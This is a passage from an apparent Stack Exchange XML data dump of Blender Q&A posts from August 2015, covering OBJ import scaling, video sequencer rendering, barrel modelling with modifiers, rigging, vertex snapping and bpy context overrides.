it to give the barrel its shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Afi6J.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Afi6J.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="3401" LastEditDate="2015-08-25T02:32:24.460" LastActivityDate="2015-08-25T02:32:24.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36302" PostTypeId="1" AcceptedAnswerId="36303" CreationDate="2015-08-24T13:09:42.530" Score="1" ViewCount="1127" Body="&lt;p&gt;I've an issue with an obj file.&#xA;Importing this file in blender:&#xA;&lt;a href=&quot;http://156.54.99.175/3d/model.obj&quot; rel=&quot;nofollow&quot;&gt;http://156.54.99.175/3d/model.obj&lt;/a&gt;&#xA;the mesh not appear. Only by rotating and zooming-out something apperas, but not the whole geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With other CAD and obj viewer the mesh is displayed correctly.&#xA;What's wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16651" LastActivityDate="2015-08-24T13:37:53.390" Title="obj file not displayed properly" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2015-08-24T17:49:23.123" ContentLicense="CC BY-SA 3.0" />
  <row Id="36303" PostTypeId="2" ParentId="36302" CreationDate="2015-08-24T13:29:12.350" Score="2" Body="&lt;p&gt;The object is there, the it's huge (like 500m tall) press &lt;kbd&gt;Numpad Period&lt;/kbd&gt; to display it. If the object is showing partially you might need to adjust the clip distance. Then you should scale your model down to something more usable... &lt;a href=&quot;https://i.stack.imgur.com/lL1Vb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lL1Vb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-08-24T13:37:53.390" LastActivityDate="2015-08-24T13:37:53.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36305" PostTypeId="1" CreationDate="2015-08-24T13:40:25.507" Score="0" ViewCount="84" Body="&lt;p&gt;I had a few .mov video files in channel 1, and it rendered fine, but then I tried to add an mp4, and I got an error (xyz.mp4 could not be loaded), so I decided to add some .jpg images instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images rendered fine, but when they weren't on screen, it would render as black. Even when I removed the images, it would render as black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried duplicating one of the strips from the first channel and putting it into the second channel (hoping is was just an issue with the channels), and it still had that issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I added a new .mov, it would render that one fine, but it wouldn't fix the other strips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/q6I3Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q6I3Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16652" LastEditorUserId="8262" LastEditDate="2015-08-24T13:55:07.780" LastActivityDate="2015-08-24T13:55:07.780" Title="Video Editing - video strips go black after adding images" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="0" CommentCount="9" FavoriteCount="0" ClosedDate="2016-02-09T15:55:12.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="36306" PostTypeId="2" ParentId="36268" CreationDate="2015-08-24T13:54:26.020" Score="2" Body="&lt;p&gt;While blender has moved it's revision control to git nearly two years ago, you can still find links to the old svn repository, even on blender's own wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While blender's source code is split into four repositories and there are a few other repositories for related projects the one that most users would be interested in is the Add-ons Contrib which can now be &lt;a href=&quot;https://developer.blender.org/diffusion/BAC/&quot; rel=&quot;nofollow&quot;&gt;found here&lt;/a&gt;, where you can also find the git command to download the entire repo. The contrib repo is a collection of semi-official addons that haven't been accepted into the official releases of blender. The old links that you find starting with &lt;code&gt;projects.blender.org&lt;/code&gt; or &lt;code&gt;svn.blender.org&lt;/code&gt; that have &lt;code&gt;/contrib/&lt;/code&gt; in the path can now be found at &lt;code&gt;developer.blender.org/diffusion/BAC&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now specifically for the addon you mention, the multiple links on the page are different versions of the same addon submitted during it's review process, the addon is contained in one file, the issue you have may be from different versions conflicting or an older version loading first and preventing the new one loading. Remove the older files so that only one new version is installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Near the top of an addon script you will find &lt;code&gt;bl_info = {&lt;/code&gt; followed by a list of values, the one you are interested in is &quot;version&quot; -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    ...&#xA;    &quot;version&quot;: (3, 1, 2),&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;only keep the one with the highest version.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-08-24T13:54:26.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36307" PostTypeId="2" ParentId="36265" CreationDate="2015-08-24T13:57:02.237" Score="3" Body="&lt;p&gt;U V and W  co-ordinates are the same as X Y and Z co-ordinates except U V and W are used to describe the co-ordinates of a MESH while X Y and Z describe the co-ordinates of Z-SPACE. but, the UV editor is only 2D so the W co-ordinate is not seen leaving just the U and V co-ordinates, hence the UV editor.&#xA;-Noah&lt;/p&gt;&#xA;" OwnerUserId="16191" LastActivityDate="2015-08-24T13:57:02.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36308" PostTypeId="2" ParentId="36291" CreationDate="2015-08-24T13:57:13.873" Score="7" Body="&lt;p&gt;Add a &lt;strong&gt;&lt;em&gt;Circle&lt;/em&gt;&lt;/strong&gt; and set the desired vertices number. Extrude a circle upward (&lt;kbd&gt;E&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;) to make a cylinder. Add the &lt;em&gt;edge loops&lt;/em&gt; in the middle of it (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;), then scale them to make the cylinder look more like a barrel. Add the edge loops to the cylinder's upper and lower edges.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gys4a.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gys4a.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable the &lt;em&gt;edge selection&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;em&gt;--&gt;Edge&lt;/em&gt;). Select one vertical edge and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;&lt;em&gt;--&gt;Select Similiar--&gt;Face Angles&lt;/em&gt;. Now press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; and change the &lt;em&gt;Segments&lt;/em&gt; number to &lt;strong&gt;&lt;em&gt;3&lt;/em&gt;&lt;/strong&gt;. Then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt; to reduce the selection and delete remained faces.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TvWlB.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvWlB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the &lt;strong&gt;&lt;em&gt;Solidify&lt;/em&gt;&lt;/strong&gt; (increase the &lt;em&gt;Thickness&lt;/em&gt; value) and &lt;strong&gt;&lt;em&gt;Subsurf&lt;/em&gt;&lt;/strong&gt; (increase the &lt;em&gt;subdivisions&lt;/em&gt; level) modifiers&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QJKxg.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QJKxg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-24T14:02:36.723" LastActivityDate="2015-08-24T14:02:36.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36309" PostTypeId="2" ParentId="35738" CreationDate="2015-08-24T14:07:36.067" Score="1" Body="&lt;p&gt;go into the texture panel with the object selected, and find the texture with the image you want to remove, then click the X on the top right and the texture/image will be removed from the object&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Cl8pd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cl8pd.png&quot; alt=&quot;the &amp;quot;x&amp;quot; in the textures panel&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16191" LastActivityDate="2015-08-24T14:07:36.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36310" PostTypeId="2" ParentId="23219" CreationDate="2015-08-24T14:28:39.370" Score="3" Body="&lt;p&gt;I had a similar problem and the solution was to select the target image in the &lt;em&gt;Node Editor&lt;/em&gt;. This sometimes means you have to add a new node containing the target image (previously created and unwrapped in the UV/Image Editor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attaching the setup I'm using for baking color texture into another one with separate UV mapping. Note the target texture is selected (orange border).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MCCcP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MCCcP.png&quot; alt=&quot;my setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tutorial shows it done, I'm linking directly to the part where they create the image and the node: &lt;a href=&quot;https://youtu.be/sB09T--_ZvU?t=40s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/sB09T--_ZvU?t=40s&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16654" LastActivityDate="2015-08-24T14:28:39.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36311" PostTypeId="1" CreationDate="2015-08-24T14:32:31.677" Score="1" ViewCount="78" Body="&lt;p&gt;I tried to create a very simple robot. I started with a cube as head and then I extrude the neck and the rest of the body. I used the mirror modifier. But when I put a plane under the robot and I  press P, the robot is falling until the head meets the floor, not until the legs meets it. Floor is a static and the robot is a character. &lt;/p&gt;&#xA;" OwnerUserId="16655" LastActivityDate="2015-08-26T05:11:21.580" Title="how do I make to recognize the body of the robot, as blender recognize just the body?" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36312" PostTypeId="1" CreationDate="2015-08-24T14:44:49.993" Score="2" ViewCount="779" Body="&lt;p&gt;I'm trying to rig a long, high-poly rectangle object so that it will be posable/deformable to behave like thick strap or belt. I don't need it for animation, just static renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a multi-boned armature and tried adding it to the rectangle as a modifier, but when I then pose the armature the rectangle remains rigid, i.e., nothing changes in the rectangle when I pose the armature bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've successfully employed armatures to pose segmented &quot;hard&quot; objects, but this deformation thing has me baffled. The rectangle mesh is composed of multiple polygons along its length so there are plenty of places for it to &quot;bend&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent several days working on this and have viewed multiple video tutorials and read multiple guides, but in the end I'm just as confused as ever. It appears that there may be several approaches to this, none of which have worked for me yet. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Here is a screenshot from my project. The chamfered rectangle is currently selected and it is what I want to make flexible, like a strap. Above that are objects that are to be a carabiner that will be articulated and (hopefully) all a part of the same armature. Nothing has been parented to the single armature yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to bone the carabiner; what's stumping me is making the chamfered rectangle deformable. One tutorial I saw stated that parenting (Ctrl+P) does not result in deformable meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Sv1dU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sv1dU.jpg&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16269" LastEditorUserId="16269" LastEditDate="2015-08-24T18:49:01.233" LastActivityDate="2018-05-12T09:46:42.910" Title="Cannot figure out how to rig a flexible strap" Tags="&lt;rigging&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36313" PostTypeId="1" CreationDate="2015-08-24T15:00:48.633" Score="9" ViewCount="2895" Body="&lt;p&gt;If I'm trying to move a vertex along any axis other than global X Y or Z, it doesn't snap to another line or face (at least not in a useful way). For example, this is what I want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cvgx2.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cvgx2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But trying to snap to a vertex results in this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wVeJI.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wVeJI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And snapping to an edge results in this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/d4Edb.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d4Edb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I'm moving a vertex along a local axis, the snapping also uses the local axis. I'd like to move it along a local axis but use a global axis for the snapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: To explain my use case a bit; I do a lot of modeling for mechanical parts, and this situation comes up frequently. I have found 2 ways to accomplish this, but they are both fairly cumbersome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is to use a shrinkwrap modifier, but that requires creating a vertex group, setting up the modifier, and in some cases creating a new object to use for the target since the the object I'm wanting to snap to doesn't necessarily lie on the path I'm moving the vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other is to extrude the vertex beyond the point I want to snap it to and then use a boolean operation to clip the mesh. This one is a fairly bad solution though since a boolean operation requires the mesh to be manifold, and it often does unpredictable things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shrinkwrap method is the least painful method I've found, but I'd really like a way to do this simply and quickly, just like snapping a vertex in any other scenario.&lt;/p&gt;&#xA;" OwnerUserId="5198" LastEditorUserId="5198" LastEditDate="2015-08-24T15:56:42.880" LastActivityDate="2020-01-11T16:03:34.713" Title="How do I snap a vertex along a local axis?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;snapping&gt;" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36315" PostTypeId="2" ParentId="36281" CreationDate="2015-08-24T15:26:00.163" Score="2" Body="&lt;p&gt;The biggest catch with &lt;code&gt;bpy.context&lt;/code&gt; is usually with operators that work in the 3dview but fail when trying to run them from the python console or when running a script in the text editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To overcome these issues you can override the context, which is described on the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_3/bpy.ops.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.ops page&lt;/a&gt;, you may also want to look at several examples in &lt;a href=&quot;https://blender.stackexchange.com/search?q=override%20context&quot;&gt;answers here&lt;/a&gt;. While ways to override the context are designed as a way to pass on the adjusted context to an operator, the concept should translate to your use of threads, maybe you will need to pass a starting context for the thread to use when you first start it.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-08-24T15:26:00.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36316" PostTypeId="1" AcceptedAnswerId="36317" CreationDate="2015-08-24T15:38:54.160" Score="2" ViewCount="1291" Body="&lt;p&gt;I try to import an obj file and make a rendered image, by a python script.&#xA;How to center the view to the mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;code&gt;bpy.ops.view3d.view_selected()&lt;/code&gt; but i get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;string&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;&amp;lt;string&amp;gt;&quot;, line 43, in &amp;lt;module&amp;gt;&#xA;  File &quot;J:\Programmi\blender-2.75a-windows32\2.75\scripts\modules\bpy\ops.py&quot;, l&#xA;ine 189, in __call__&#xA;    ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Operator bpy.ops.action.view_selected.poll() failed, context is in&#xA;correct&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16651" LastEditorUserId="47" LastEditDate="2015-08-24T16:00:12.097" LastActivityDate="2015-08-25T08:19:38.837" Title="bpy.ops.view3d.view_selected() issue" Tags="&lt;scripting&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ClosedDate="2015-08-25T02:32:18.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="36317" PostTypeId="2" ParentId="36316" CreationDate="2015-08-24T15:54:41.750" Score="8" Body="&lt;p&gt;If you don't have a reference to a specific window, you can iterate over all screen areas, and call the operator on all &lt;code&gt;VIEW_3D&lt;/code&gt; area types.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        ctx = bpy.context.copy()&#xA;        ctx['area'] = area&#xA;        ctx['region'] = area.regions[-1]&#xA;        bpy.ops.view3d.view_selected(ctx)            # points view&#xA;        # bpy.ops.view3d.camera_to_view_selected(ctx)   # points camera&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the topic and resolutions to &lt;em&gt;context is incorrect&lt;/em&gt; &lt;a href=&quot;https://blender.stackexchange.com/questions/6101/poll-failed-context-incorrect-example-bpy-ops-view3d-background-image-add&quot;&gt;have been covered exhaustively&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use &lt;code&gt;camera_to_view_selected(ctx)&lt;/code&gt; you can break the loop early if you only have one camera to point, else it will point the camera at the same thing for every 3dview opened.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-08-25T08:19:38.837" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36319" PostTypeId="2" ParentId="36291" CreationDate="2015-08-24T16:09:47.890" Score="14" Body="&lt;p&gt;This way uses just modifiers so the result can be customized at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- start with one vertical edge away from the object center :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tK394.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tK394.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- then add these modifiers :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Subsurf&lt;/strong&gt; : for the horizontal resolution. (mode : Simple )&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Screw&lt;/strong&gt;   : for creating the panels ( adjust the Steps )&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Edge split&lt;/strong&gt; : to separate the panels ( set angle to ~25 ).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Solidify&lt;/strong&gt;  :  to give the barrel some thickness (adjust thickness/offset).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cast&lt;/strong&gt;     :  to give the barrel it's curved shape ( adjust radius/Factor ).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bevel&lt;/strong&gt;  : to make panels edges rounded.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rub8Y.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rub8Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7mtTI.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7mtTI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-08-24T17:10:30.037" LastActivityDate="2015-08-24T17:10:30.037" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36320" PostTypeId="2" ParentId="36296" CreationDate="2015-08-24T16:32:43.250" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kZVbI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kZVbI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HaVvx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HaVvx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Semi Quick Overview&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your path has multiple temporal/spatial milestones that can move, create a path and constraint for each, create [influence] keyframes, for maintainability in the future.  Blender to the future.  The more milestones you have the more maintainability is an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the images above in the 3D view the green ball has two follow path constraints.  One path constraint to the yellow curve and one to the red curve.  Positive constraint [influence] means, influence = 1. The graph window shows that the constraint [influence] on a frame, is 1 for only one constraint at most and switches discretely to 0 in one frame.  The [influence] curve has four values [0,1,1,0].  When the [influence] is 0 the constraint has zero effect.  The [offset] curve has two values[0,1]. The constraints can independently be deleted or (enabled/disabled with the eye) and the other one will have a predictable affect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 3D View are two Bezier curves, red and yellow which visually appear continuous by position and slope.  The two curves which were originally one and were [separated] to preserve slope/position continuity (piece wise continuous).  The green ball first follows the yellow curve and then the red curve. The movement is smooth across curves. Speed continuity is reasonable because the constraint influence curve has value 1 for a designed range of frames.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curves are different colors and have positive bevel for explanation purposes only. Curves need not be rendered.  The image on bottom is to emphasize the graph [influence] values as they transition.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example I have repeated the location for one frame.  Change the end [offset] to a number such as ( 1 - (1/[number of frames in range])) if this suits your goals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 1 Verbose Discussion of above&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you will be changing paths often this work will be to your advantage.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider two or more contiguous paths.   This will allow easier independent control of position and thus speed.  Create a longer path from pieces of shorter paths.  These paths will have influence on distinct ranges of frames/time and thus will ease the [Oh no! I have to change the path!] problem.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the discussions below N1 and N2 are frame numbers such that 0 &gt; N1 &gt; N2 and N2 &gt; N1 + 2.  We use the names path 1 and path 2.  FrameRange0110(f1, f2) means [influence] keyframes set on four frames. 0 &gt; f1 and f2 &gt; (f1 + 1), that is the range is two keyframes at least long for ease of discussion. Frame (f1-1) = 0.  Frame f1 = 1. Frame f2 = 1. Frame (f2 + 1) = 0. Four [influence] values [0,1,1,0] listed in increasing order of (frame or time). FrameRange0110(f1, f2) also means constraint [offset] values which are Frame f1 = 0 and Frame f2 = 1.  Two values indicating beginning and end of curve [0,1].  Every FrameRange0110(&amp;lt;.&gt;, &amp;lt;.&gt;) denotes 6 keyframes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Independent Frame Ranges.  Lets also call two Frames ranges A = FrameRange0110(s1, e1) and B = FrameRange0110(s2, e2) Independent, if the positive [influence] values do not overlap in frame or time. Either (e1 &amp;lt; s2)  or (e2 &amp;lt; s1). The 0 [influence] of one range may exist with the positive [influence] of  another range, which should be the case for this particular example.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Action. For path constraint 1 with curve 1 create Range 1 = FrameRange0110(1, N1).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Action. For path constraint 2 with curve 2 create Range 2 = FrameRange0110(N1 + 1, N2)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Range 1 and Range 2 are now independent frame ranges and have convenient control.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This can be extended to many curves so long as the all path constraints are pairwise independent. Make small adjustments to suit your needs. Once you get independent control you might try some advanced mix of influence for interesting results.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To edit the range of influence for two adjacent curve you can select 4 adjacent points in two contiguous ranges in the Graph Window and move them in the X direction respecting the notion of Frame Range independence.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advanced&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In certain circumstances visual objects can control the Bezier curve itself.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;By using [influence] keyframes with two curves and no independence one can add circle wobble which is different than the curve noise modifier. The second curve could just be a circle or other closed curve with curve cycles modifier.  Curve placement is being added.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Beware&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is not clear that simple scaling of dopesheet frames will  produce acceptable/predictable results.  I have not seen documentation of how parametric distance is calculated in Blender. Complications are Bezier versus Path. Similar mathematical information is published in computer graphics books.  It might be difficult to determine which particular method Blender uses.  &lt;/li&gt;&#xA;&lt;li&gt;Looking at source code may be more difficult than Method 1.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2 (Superstitious)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reflect on the likelyhood of further path changes.  If you believe no further changes are coming then just use the new curve and set new keyframes.  You have only doubled your work for this task.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-25T07:31:42.517" LastActivityDate="2015-08-25T07:31:42.517" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36322" PostTypeId="2" ParentId="36176" CreationDate="2015-08-24T18:11:22.267" Score="6" Body="&lt;p&gt;The problem was solved when I switched to the CPU renderer. I am guessing that OpenCL is at fault, because it happened during GPU rendering. More information &lt;a href=&quot;http://blender.org/manual/render/cycles/features.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like GPU OpenCL is lacking many features, so I recommend using CPU renderer for now.&lt;/p&gt;&#xA;" OwnerUserId="16470" LastActivityDate="2015-08-24T18:11:22.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
